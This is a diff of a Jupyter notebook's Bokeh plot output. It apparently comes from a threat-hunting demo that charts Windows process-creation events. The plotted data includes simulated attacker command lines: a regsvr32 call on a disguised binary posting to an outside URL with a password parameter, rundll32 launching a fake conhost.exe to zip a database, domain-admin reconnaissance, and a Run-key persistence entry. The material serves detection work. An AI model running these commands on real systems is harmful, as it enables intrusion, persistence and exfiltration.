},{\"attributes\":{},\"id\":\"8137\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"range\":{\"id\":\"8052\"},\"value\":0.1},\"id\":\"8094\",\"type\":\"Dodge\"},{\"attributes\":{\"axis\":{\"id\":\"8128\"},\"grid_line_color\":null,\"ticker\":null},\"id\":\"8131\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"8058\",\"type\":\"LinearScale\"},{\"attributes\":{},\"id\":\"8070\",\"type\":\"SaveTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"field\":\"Account\",\"transform\":{\"id\":\"8048\"}},\"height\":{\"units\":\"data\",\"value\":0.8},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"width\":{\"units\":\"data\",\"value\":1.2},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"8150\"}},\"y\":{\"field\":\"Row\"}},\"id\":\"8153\",\"type\":\"Rect\"},{\"attributes\":{\"range\":{\"id\":\"8054\"},\"value\":-0.2},\"id\":\"8095\",\"type\":\"Dodge\"},{\"attributes\":{\"data_source\":{\"id\":\"8047\"},\"glyph\":{\"id\":\"8152\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"8153\"},\"selection_glyph\":null,\"view\":{\"id\":\"8155\"}},\"id\":\"8154\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"formatter\":{\"id\":\"8169\"},\"ticker\":{\"id\":\"8133\"},\"visible\":false},\"id\":\"8132\",\"type\":\"LinearAxis\"},{\"attributes\":{\"data\":{\"Account\":[\"NaN\",\"WORKGROUP\\\\MSTICAlertsWin1$\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\"],\"CommandLine\":[\"NaN\",\"cmd.exe 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11:51:38.777000\"],\"source_index\":[\"17\",\"0\",\"1\",\"10\",\"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\"],\"source_index_par\":{\"__ndarray__\":\"AAAAAAAA+H8AAAAAAAD4fwAAAAAAADBAAAAAAAAAMEAAAAAAAAAwQAAAAAAAADBAAAAAAAAAMEAAAAAAAAAwQAAAAAAAADBAAAAAAAAAMEAAAAAAAAAwQAAAAAAAADBAAAAAAAAAMEAAAAAAAAAwQAAAAAAAADBAAAAAAAAAMEAAAAAAAAAwQAAAAAAAADBA\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[18]}},\"selected\":{\"id\":\"2455\"},\"selection_policy\":{\"id\":\"2456\"}},\"id\":\"2412\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"2506\",\"type\":\"HelpTool\"},{\"attributes\":{\"end\":19,\"start\":-2},\"id\":\"2419\",\"type\":\"Range1d\"},{\"attributes\":{},\"id\":\"2435\",\"type\":\"SaveTool\"},{\"attributes\":{\"source\":{\"id\":\"2412\"}},\"id\":\"2479\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"2501\",\"type\":\"PanTool\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"2433\"},{\"id\":\"2434\"},{\"id\":\"2435\"},{\"id\":\"2436\"},{\"id\":\"2442\"}]},\"id\":\"2437\",\"type\":\"Toolbar\"},{\"attributes\":{\"below\":[{\"id\":\"2425\"}],\"center\":[{\"id\":\"2428\"},{\"id\":\"2432\"},{\"id\":\"2457\"}],\"left\":[{\"id\":\"2429\"}],\"outline_line_color\":null,\"plot_height\":700,\"plot_width\":900,\"renderers\":[{\"id\":\"2448\"},{\"id\":\"2464\"},{\"id\":\"2471\"},{\"id\":\"2478\"}],\"title\":{\"id\":\"2415\"},\"toolbar\":{\"id\":\"2437\"},\"toolbar_location\":\"above\",\"x_range\":{\"id\":\"2417\"},\"x_scale\":{\"id\":\"2421\"},\"y_range\":{\"id\":\"2419\"},\"y_scale\":{\"id\":\"2423\"}},\"id\":\"2414\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"range\":{\"id\":\"2417\"},\"value\":0.1},\"id\":\"2466\",\"type\":\"Dodge\"},{\"attributes\":{\"formatter\":{\"id\":\"2533\"},\"ticker\":{\"id\":\"2494\"},\"visible\":false},\"id\":\"2493\",\"type\":\"LinearAxis\"},{\"attributes\":{\"data_source\":{\"id\":\"2412\"},\"glyph\":{\"id\":\"2446\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"2447\"},\"selection_glyph\":null,\"view\":{\"id\":\"2449\"}},\"id\":\"2448\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"range\":{\"id\":\"2419\"},\"value\":0.25},\"id\":\"2467\",\"type\":\"Dodge\"},{\"attributes\":{},\"id\":\"2455\",\"type\":\"Selection\"},{\"attributes\":{\"range\":null,\"value\":-0.5},\"id\":\"2515\",\"type\":\"Dodge\"},{\"attributes\":{\"source\":{\"id\":\"2412\"}},\"id\":\"2449\",\"type\":\"CDSView\"},{\"attributes\":{\"text\":{\"field\":\"Exe\"},\"text_alpha\":{\"value\":0.1},\"text_baseline\":\"middle\",\"text_color\":{\"value\":\"black\"},\"text_font_size\":{\"value\":\"8pt\"},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"2466\"}},\"y\":{\"field\":\"Row\",\"transform\":{\"id\":\"2467\"}}},\"id\":\"2470\",\"type\":\"Text\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.4},\"fill_color\":{\"field\":\"Account\",\"transform\":{\"id\":\"2413\"}},\"height\":{\"units\":\"data\",\"value\":0.95},\"line_color\":{\"value\":\"#1f77b4\"},\"width\":{\"units\":\"data\",\"value\":3.5},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"2444\"}},\"y\":{\"field\":\"Row\"}},\"id\":\"2446\",\"type\":\"Rect\"},{\"attributes\":{},\"id\":\"2494\",\"type\":\"BasicTicker\"},{\"attributes\":{},\"id\":\"2453\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"range\":{\"id\":\"2419\"},\"value\":-0.2},\"id\":\"2460\",\"type\":\"Dodge\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.6},\"fill_color\":{\"field\":\"Account\",\"transform\":{\"id\":\"2413\"}},\"height\":{\"units\":\"data\",\"value\":0.8},\"line_color\":{\"value\":\"#1f77b4\"},\"width\":{\"units\":\"data\",\"value\":1.2},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"2515\"}},\"y\":{\"field\":\"Row\"}},\"id\":\"2517\",\"type\":\"Rect\"},{\"attributes\":{\"data_source\":{\"id\":\"2412\"},\"glyph\":{\"id\":\"2476\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"2477\"},\"selection_glyph\":null,\"view\":{\"id\":\"2479\"}},\"id\":\"2478\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"2451\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{},\"id\":\"2456\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"axis\":{\"id\":\"2497\"},\"dimension\":1,\"grid_line_color\":null,\"ticker\":null},\"id\":\"2500\",\"type\":\"Grid\"},{\"attributes\":{\"text\":{\"field\":\"PID\"},\"text_alpha\":{\"value\":0.1},\"text_baseline\":\"middle\",\"text_color\":{\"value\":\"black\"},\"text_font_size\":{\"value\":\"8pt\"},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"2473\"}},\"y\":{\"field\":\"Row\",\"transform\":{\"id\":\"2474\"}}},\"id\":\"2477\",\"type\":\"Text\"},{\"attributes\":{\"axis\":{\"id\":\"2493\"},\"grid_line_color\":null,\"ticker\":null},\"id\":\"2496\",\"type\":\"Grid\"},{\"attributes\":{\"overlay\":{\"id\":\"2522\"},\"x_range\":null,\"y_range\":{\"id\":\"2419\"}},\"id\":\"2521\",\"type\":\"RangeTool\"},{\"attributes\":{},\"id\":\"2498\",\"type\":\"BasicTicker\"},{\"attributes\":{\"formatter\":{\"id\":\"2535\"},\"ticker\":{\"id\":\"2498\"},\"visible\":false},\"id\":\"2497\",\"type\":\"LinearAxis\"}],\"root_ids\":[\"2526\"]},\"title\":\"Bokeh Application\",\"version\":\"2.2.2\"}};\n",
+ " var render_items = [{\"docid\":\"c5166637-eb15-4773-90c5-052bb97b5d2e\",\"root_ids\":[\"2526\"],\"roots\":{\"2526\":\"a1f95d40-b5a2-43cb-9446-fb39ab858611\"}}];\n",
" root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n",
"\n",
" }\n",
@@ -1424,7 +1655,7 @@
},
"metadata": {
"application/vnd.bokehjs_exec.v0+json": {
- "id": "8161"
+ "id": "2526"
}
},
"output_type": "display_data"
@@ -1447,7 +1678,7 @@
"\n",
" \n",
"
\n",
- "
Loading BokehJS ... \n",
+ "
Loading BokehJS ... \n",
"
"
]
},
@@ -1617,7 +1848,7 @@
" \"\"}};\n",
"\n",
" function display_loaded() {\n",
- " var el = document.getElementById(\"8262\");\n",
+ " var el = document.getElementById(\"2611\");\n",
" if (el != null) {\n",
" el.textContent = \"BokehJS is loading...\";\n",
" }\n",
@@ -1683,7 +1914,7 @@
" document.body.appendChild(element);\n",
" }\n",
"\n",
- " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n",
+ " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n",
"\n",
" for (var i = 0; i < js_urls.length; i++) {\n",
" var url = js_urls[i];\n",
@@ -1708,7 +1939,7 @@
" }\n",
"\n",
" \n",
- " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n",
+ " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n",
" var css_urls = [];\n",
" \n",
"\n",
@@ -1737,7 +1968,7 @@
" console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n",
" root._bokeh_failed_load = true;\n",
" } else if (force !== true) {\n",
- " var cell = $(document.getElementById(\"8262\")).parents('.cell').data().cell;\n",
+ " var cell = $(document.getElementById(\"2611\")).parents('.cell').data().cell;\n",
" cell.output_area.append_execute_result(NB_LOAD_WARNING)\n",
" }\n",
"\n",
@@ -1754,7 +1985,7 @@
" }\n",
"}(window));"
],
- "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"\\n\"+\n \"
\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"
\\n\"+\n \"re-rerun `output_notebook()` to attempt to load from CDN again, or \\n\"+\n \"use INLINE resources instead, as so: \\n\"+\n \" \\n\"+\n \"
\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"
\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"8262\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"8262\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));"
+ "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"\\n\"+\n \"
\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"
\\n\"+\n \"re-rerun `output_notebook()` to attempt to load from CDN again, or \\n\"+\n \"use INLINE resources instead, as so: \\n\"+\n \" \\n\"+\n \"
\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"
\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"2611\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"2611\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));"
},
"metadata": {},
"output_type": "display_data"
@@ -1768,7 +1999,7 @@
"\n",
"\n",
"\n",
- "
\n"
+ "
\n"
]
},
"metadata": {},
@@ -1780,8 +2011,8 @@
"(function(root) {\n",
" function embed_document(root) {\n",
" \n",
- " var docs_json = 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- " var render_items = [{\"docid\":\"a4d35d9e-fdae-4853-8e8d-d5d6446c1842\",\"root_ids\":[\"8265\"],\"roots\":{\"8265\":\"6b5a9804-2e5f-4908-b19c-1448616ea1f7\"}}];\n",
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Time\",\"formatter\":{\"id\":\"2675\"},\"ticker\":{\"id\":\"2626\"}},\"id\":\"2625\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"@TimeGenerated\":\"datetime\"},\"tooltips\":[[\"CommandLine\",\"@CommandLine\"],[\"EventID\",\"@EventID\"],[\"NewProcessName\",\"@NewProcessName\"],[\"TimeGenerated\",\"@TimeGenerated{%F %T.%3N}\"]]},\"id\":\"2613\",\"type\":\"HoverTool\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"2693\"},{\"id\":\"2694\"},{\"id\":\"2695\"},{\"id\":\"2696\"},{\"id\":\"2697\"},{\"id\":\"2698\"},{\"id\":\"2699\"},{\"id\":\"2700\"},{\"id\":\"2701\"},{\"id\":\"2702\"},{\"id\":\"2703\"},{\"id\":\"2704\"}]},\"id\":\"2626\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"data\":{\"CommandLine\":[\".\\\\regsvr32 /u /s c:\\\\windows\\\\fonts\\\\csrss.exe\\n\\\"http://www.401k.com/upload?pass=34592389\\\" post\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"cmd /c echo Begin Security Demo tasks\",\"cmd /c echo Any questions about the commands\\nexecuted here then please contact one of\",\"cmd /c echo timb@microsoft.com;\\nianhelle@microsoft.com; shainw@microsoft.com\",\".\\\\rundll32.exe /C c:\\\\windows\\\\fonts\\\\conhost.exe\\nzip archive.mdb\",\"tasklist\",\"net localgroup Administrators\",\"whoami\",\"hostname\",\"netstat -an\",\"net user Bob1 /domain\",\"net user BobX /domain\",\"net group \\\"Domain Admins\\\" /domain\",\".\\\\reg.exe add\\n\\\\hkcu\\\\software\\\\microsoft\\\\some\\\\key\\\\Run /v abadvalue\",\"cmd /c echo End Security Demo tasks\",\"cmd.exe /c c:\\\\Diagnostics\\\\WinSimulateAlerts.cmd\\nc:\\\\W!ndows\\\\System32 3\"],\"EventID\":[4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688],\"NewProcessName\":[\"C:\\\\W!ndows\\\\System32\\\\regsvr32.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\W!ndows\\\\System32\\\\rundll32.exe\",\"C:\\\\Windows\\\\System32\\\\tasklist.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\whoami.exe\",\"C:\\\\Windows\\\\System32\\\\HOSTNAME.EXE\",\"C:\\\\Windows\\\\System32\\\\NETSTAT.EXE\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\W!ndows\\\\System32\\\\reg.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\"],\"TimeGenerated\":{\"__ndarray__\":\"ALAwkb2OdkIAEP6QvY52QgBQGJG9jnZCAJAZkb2OdkIAkBqRvY52QgAgI5G9jnZCAKA0kb2OdkIAAD6RvY52QgCQQZG9jnZCADBDkb2OdkIAcESRvY52QgCgTZG9jnZCALBPkb2OdkIAkFGRvY52QgCwVJG9jnZCAPBVkb2OdkIAcP2QvY52Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[17]},\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16],\"y_index\":[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]},\"selected\":{\"id\":\"2705\"},\"selection_policy\":{\"id\":\"2706\"}},\"id\":\"2612\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"2701\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"start\":-1.0},\"id\":\"2619\",\"type\":\"Range1d\"},{\"attributes\":{\"axis\":{\"id\":\"2629\"},\"dimension\":1,\"grid_line_color\":null,\"ticker\":null},\"id\":\"2632\",\"type\":\"Grid\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"2695\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"2697\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"2706\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"2633\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"2694\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"2698\",\"type\":\"DaysTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2679\",\"type\":\"Diamond\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"2702\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\